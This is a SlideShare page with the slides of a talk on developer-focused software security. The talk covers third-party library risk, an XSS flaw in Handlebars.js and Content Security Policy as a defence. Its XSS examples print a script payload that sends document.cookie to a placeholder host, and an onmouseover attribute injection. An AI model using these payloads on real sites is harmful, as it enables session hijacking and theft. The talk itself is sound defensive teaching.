SlideShare a Scribd company logo
Developer-focused Software
Security
Dr. Asankhaya Sharma
Director of R&D
SourceClear
What is Software Security?
• Understanding the role that software plays
– In providing security
– As source of insecurity
• Focus on how to build secure software
– Principles and methods to make software more
secure
– Threats and vulnerabilities and how to avoid them
16-Feb-16 2
Why Software Security?
• Firewalls, anti-virus and end-point security
solutions are good for building walls around a
perimeter
– Attackers can often bypass the perimeter (BYOD)
• Software security aims to address the
weakness directly
16-Feb-16 3
16-Feb-16 4
Developer-focused
• Security in the Software Supply Chain
– Open-source
– Package mangers
– Build systems
– Continuous integration
16-Feb-16 5
Libraries and components
16-Feb-16 6
Use of third-party libraries
• Instead of creating applications from scratch,
today’s developers start with open-source
components and then copy, extend, and glue
them together
– It means that open-source libraries and
frameworks now make up the vast majority of the
source code used by companies today
16-Feb-16 7
Typical application
16-Feb-16 8
3rd Party Code
Custom Code
80 %
20 %
Reusable Components = Reusable
Vulnerabilities
• Attackers are increasingly targeting popular
libraries and 3rd party components
– Exploiting a library can potentially exploit many
applications
• Traditional security analysis is focused on
custom code
– Up to 90% of the attack surface of an application
may be due to 3rd party code
16-Feb-16 9
16-Feb-16 10
16-Feb-16 11
16-Feb-16 12
Copy-paste vulnerabilities
• Handlebars.js before 4.0.0 and
mustache before 2.2.1 does not
properly escape attribute values
with the equals sign
• Allows cross-site scripting through
unquoted variables being placed
into HTML attributes
16-Feb-16 13
Vanessa Henderson
Security Researcher
@ SRC:CLR
Cross-site Scripting (XSS)
• A type of injection, in which malicious scripts
are injected into otherwise benign and trusted
web sites
• Different types of XSS attacks
– Stored XSS
– Reflected XSS
– DOM based XSS
16-Feb-16 14
XSS
HTML Code Malicious String Result
<input value=“userInput”> ><script>
window.location='http://ex
ample.com/?cookie='+doc
ument.cookie
</script><input value=
<input value=“>
<script>window.location='
http://example.com/?cooki
e='+document.cookie</scri
pt>
<input value=”>
16-Feb-16 15
Handlebars.js XSS
• Does not properly escape attribute values with the
equals sign
• XSS via unquoted variables placed into HTML
attributes using handlebars substitution
• <a href src={{foo}}>Click me!</a>
16-Feb-16 16
Handlebars.js XSS
16-Feb-16 17
HTML Code Malicious String Result
<a href src={{foo}}>Click
me!</a>
www.example.com
onmouseover=alert('HA!')
<a href
src=www.example.com
onmouseover=alert('HA!')>
Click me!</a>
Demo
• PoC for exploit
• Technical write up -
https://srcclr.com/catalog/vulnerabilities/187
8
16-Feb-16 18
The fix
16-Feb-16 19
Widespread Impact
• Developers copy-pasted
– The handlebars.js file in their library or application
– The vulnerable code in their project
– Found in other Ruby and Java libraries as well
• We identified over 37 libraries that have over
40,000 downloads that were affected by the
same issue
• For details check out
https://blog.srcclr.com/handlebars-findings-
followup/
16-Feb-16 20
How to prevent such issues?
• Be careful with what 3rd party components
and libraries you include
• Audit the library usage regularly
• Implement a content security policy (CSP) for
your web application
16-Feb-16 21
Content Security Policy (CSP)
• A whitelisting mechanism that allows you to
declare what behavior is allowed on a given
page.
• CSP allows you to specify the sources from
which the page is allowed to load resources
like scripts, fonts, styles, images, forms etc.
• An additional layer of defense against XSS,
click jacking and other code injection attacks
16-Feb-16 22
CSP
• Directives
– default-src
– script-src
– style-src
– font-src
– img-src
– …
• Read more details on
https://blog.srcclr.com/http-secure-headers-in-
plain-english/
16-Feb-16 23
Content sources
• Source lists
– http://*.foo.com
– https://store.foo.com
• Keywords
– `none`
– `self`
– `unsafe-inline`
– `unsafe-eval`
16-Feb-16 24
Example 1: srcclr.com
16-Feb-16 25
Example 2: twitter.com
16-Feb-16 26
16-Feb-16 27
Caveats
• Older browsers do not implement CSP
– Prevent access to your site when someone visits
from an old browser
• You need to be careful what domains you
whitelist
– If you allow a domain that is compromised it will
again expose your site to attacks
16-Feb-16 28
Takeaways
• The development landscape has changed
– DevOps, Agile, CI, etc.
• Open-source code is prevalent
– Up top 90% of code is 3rd party
• Reusable code = reusable vulnerabilities
– A XSS in Handlebars.js found in 40+ libraries
• Developer-focused security practices can help
build software safely
– Using secure HTTP headers like CSP
16-Feb-16 29
Thank you!
• Questions?
• Contact
– @asankhaya
16-Feb-16 30

More Related Content

PDF
Cross site scripting attacks and defenses
PPTX
Cross site scripting
PDF
Blind XSS & Click Jacking
PPTX
STORED XSS IN DVWA
PPTX
PPT
Web Security Overview and Demo
PDF
Defendingwebservices
PPS
28 40 ◄ الحديث ◄ الفصول 28 الى 40
Cross site scripting attacks and defenses
Cross site scripting
Blind XSS & Click Jacking
STORED XSS IN DVWA
Web Security Overview and Demo
Defendingwebservices
28 40 ◄ الحديث ◄ الفصول 28 الى 40

Viewers also liked (11)

PDF
Como fazer cerveja iniciantes
PPT
Colleges
PDF
A WORKSPACE SIMULATION FOR TAL TR-2 ARTICULATED ROBOT
PDF
RealSource Digital Brochure
PPTX
Splunk HTTP Event Collector
PDF
Возрастные ассоциации (психологическое упражнение с картами "1000 жизней")
PDF
Issuetrak Product Tour
PDF
Проблема. Перспектива. Итог (упражнение с картами "1000 идей")
PDF
Swimming with sharks
PDF
New Dress Code
PDF
Bechtel Customer Presentation
Como fazer cerveja iniciantes
Colleges
A WORKSPACE SIMULATION FOR TAL TR-2 ARTICULATED ROBOT
RealSource Digital Brochure
Splunk HTTP Event Collector
Возрастные ассоциации (психологическое упражнение с картами "1000 жизней")
Issuetrak Product Tour
Проблема. Перспектива. Итог (упражнение с картами "1000 идей")
Swimming with sharks
New Dress Code
Bechtel Customer Presentation
Ad

Similar to Developer-focused Software Security (20)

PDF
So you thought you were safe using AngularJS.. Think again!
PDF
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
PPTX
Web hacking refers to exploitation of applications via HTTP which can be done
PPTX
Owasp web application security trends
PPTX
[2.1] Web application Security Trends - Omar Ganiev
PDF
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
PDF
Tsc summit #2 - HTTP Header Security
PDF
Content Security Policy - Lessons learned at Yahoo
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PDF
T04505103106
PDF
Rails and Content Security Policies
PDF
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
PDF
Essential Security Practices for Modern Web Developers.pdf
PDF
Securing your web application through HTTP headers
PPTX
Cross Site Scripting: Prevention and Detection(XSS)
PDF
Web Security - CSP & Web Cryptography
PPTX
Cross Site Scripting
PDF
Modern Web Application Defense
PDF
Web Application Security Reloaded for the HTML5 era
PDF
Top Tools Used in XSS Attacks.pdf
So you thought you were safe using AngularJS.. Think again!
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
Web hacking refers to exploitation of applications via HTTP which can be done
Owasp web application security trends
[2.1] Web application Security Trends - Omar Ganiev
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
Tsc summit #2 - HTTP Header Security
Content Security Policy - Lessons learned at Yahoo
Website hacking and prevention (All Tools,Topics & Technique )
T04505103106
Rails and Content Security Policies
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Essential Security Practices for Modern Web Developers.pdf
Securing your web application through HTTP headers
Cross Site Scripting: Prevention and Detection(XSS)
Web Security - CSP & Web Cryptography
Cross Site Scripting
Modern Web Application Defense
Web Application Security Reloaded for the HTML5 era
Top Tools Used in XSS Attacks.pdf
Ad

More from Asankhaya Sharma (13)

PDF
9 types of people you find on your team
PDF
Design and Implementation of the Security Graph Language
PDF
Securing Open Source Code in Enterprise
PPTX
Secure Software Development
PPTX
Verified Subtyping with Traits and Mixins
PPTX
Specifying compatible sharing in data structures
PPTX
Exploiting undefined behaviors for efficient symbolic execution
PPT
DIDAR: Database Intrusion Detection with Automated Recovery
PPTX
Visualizing Symbolic Execution with Bokeh
PPT
Crafting a Successful Engineering Career
PPTX
Certified Reasoning for Automated Verification
PDF
Last Days of Academy
PPT
SayCheese Ad
9 types of people you find on your team
Design and Implementation of the Security Graph Language
Securing Open Source Code in Enterprise
Secure Software Development
Verified Subtyping with Traits and Mixins
Specifying compatible sharing in data structures
Exploiting undefined behaviors for efficient symbolic execution
DIDAR: Database Intrusion Detection with Automated Recovery
Visualizing Symbolic Execution with Bokeh
Crafting a Successful Engineering Career
Certified Reasoning for Automated Verification
Last Days of Academy
SayCheese Ad

Recently uploaded (20)

PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
cuic standard and advanced reporting.pdf
PPTX
Big Data Technologies - Introduction.pptx
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
Empathic Computing: Creating Shared Understanding
PPTX
sap open course for s4hana steps from ECC to s4
PPTX
Cloud computing and distributed systems.
PDF
Machine learning based COVID-19 study performance prediction
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
Encapsulation_ Review paper, used for researhc scholars
Review of recent advances in non-invasive hemoglobin estimation
Spectral efficient network and resource selection model in 5G networks
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
cuic standard and advanced reporting.pdf
Big Data Technologies - Introduction.pptx
Reach Out and Touch Someone: Haptics and Empathic Computing
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Network Security Unit 5.pdf for BCA BBA.
Building Integrated photovoltaic BIPV_UPV.pdf
MIND Revenue Release Quarter 2 2025 Press Release
Empathic Computing: Creating Shared Understanding
sap open course for s4hana steps from ECC to s4
Cloud computing and distributed systems.
Machine learning based COVID-19 study performance prediction
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Mobile App Security Testing_ A Comprehensive Guide.pdf
Profit Center Accounting in SAP S/4HANA, S4F28 Col11

Developer-focused Software Security

  • 1. Developer-focused Software Security Dr. Asankhaya Sharma Director of R&D SourceClear
  • 2. What is Software Security? • Understanding the role that software plays – In providing security – As source of insecurity • Focus on how to build secure software – Principles and methods to make software more secure – Threats and vulnerabilities and how to avoid them 16-Feb-16 2
  • 3. Why Software Security? • Firewalls, anti-virus and end-point security solutions are good for building walls around a perimeter – Attackers can often bypass the perimeter (BYOD) • Software security aims to address the weakness directly 16-Feb-16 3
  • 5. Developer-focused • Security in the Software Supply Chain – Open-source – Package mangers – Build systems – Continuous integration 16-Feb-16 5
  • 7. Use of third-party libraries • Instead of creating applications from scratch, today’s developers start with open-source components and then copy, extend, and glue them together – It means that open-source libraries and frameworks now make up the vast majority of the source code used by companies today 16-Feb-16 7
  • 8. Typical application 16-Feb-16 8 3rd Party Code Custom Code 80 % 20 %
  • 9. Reusable Components = Reusable Vulnerabilities • Attackers are increasingly targeting popular libraries and 3rd party components – Exploiting a library can potentially exploit many applications • Traditional security analysis is focused on custom code – Up to 90% of the attack surface of an application may be due to 3rd party code 16-Feb-16 9
  • 13. Copy-paste vulnerabilities • Handlebars.js before 4.0.0 and mustache before 2.2.1 does not properly escape attribute values with the equals sign • Allows cross-site scripting through unquoted variables being placed into HTML attributes 16-Feb-16 13 Vanessa Henderson Security Researcher @ SRC:CLR
  • 14. Cross-site Scripting (XSS) • A type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites • Different types of XSS attacks – Stored XSS – Reflected XSS – DOM based XSS 16-Feb-16 14
  • 15. XSS HTML Code Malicious String Result <input value=“userInput”> ><script> window.location='http://ex ample.com/?cookie='+doc ument.cookie </script><input value= <input value=“> <script>window.location=' http://example.com/?cooki e='+document.cookie</scri pt> <input value=”> 16-Feb-16 15
  • 16. Handlebars.js XSS • Does not properly escape attribute values with the equals sign • XSS via unquoted variables placed into HTML attributes using handlebars substitution • <a href src={{foo}}>Click me!</a> 16-Feb-16 16
  • 17. Handlebars.js XSS 16-Feb-16 17 HTML Code Malicious String Result <a href src={{foo}}>Click me!</a> www.example.com onmouseover=alert('HA!') <a href src=www.example.com onmouseover=alert('HA!')> Click me!</a>
  • 18. Demo • PoC for exploit • Technical write up - https://srcclr.com/catalog/vulnerabilities/187 8 16-Feb-16 18
  • 20. Widespread Impact • Developers copy-pasted – The handlebars.js file in their library or application – The vulnerable code in their project – Found in other Ruby and Java libraries as well • We identified over 37 libraries that have over 40,000 downloads that were affected by the same issue • For details check out https://blog.srcclr.com/handlebars-findings- followup/ 16-Feb-16 20
  • 21. How to prevent such issues? • Be careful with what 3rd party components and libraries you include • Audit the library usage regularly • Implement a content security policy (CSP) for your web application 16-Feb-16 21
  • 22. Content Security Policy (CSP) • A whitelisting mechanism that allows you to declare what behavior is allowed on a given page. • CSP allows you to specify the sources from which the page is allowed to load resources like scripts, fonts, styles, images, forms etc. • An additional layer of defense against XSS, click jacking and other code injection attacks 16-Feb-16 22
  • 23. CSP • Directives – default-src – script-src – style-src – font-src – img-src – … • Read more details on https://blog.srcclr.com/http-secure-headers-in- plain-english/ 16-Feb-16 23
  • 24. Content sources • Source lists – http://*.foo.com – https://store.foo.com • Keywords – `none` – `self` – `unsafe-inline` – `unsafe-eval` 16-Feb-16 24
  • 28. Caveats • Older browsers do not implement CSP – Prevent access to your site when someone visits from an old browser • You need to be careful what domains you whitelist – If you allow a domain that is compromised it will again expose your site to attacks 16-Feb-16 28
  • 29. Takeaways • The development landscape has changed – DevOps, Agile, CI, etc. • Open-source code is prevalent – Up top 90% of code is 3rd party • Reusable code = reusable vulnerabilities – A XSS in Handlebars.js found in 40+ libraries • Developer-focused security practices can help build software safely – Using secure HTTP headers like CSP 16-Feb-16 29
  • 30. Thank you! • Questions? • Contact – @asankhaya 16-Feb-16 30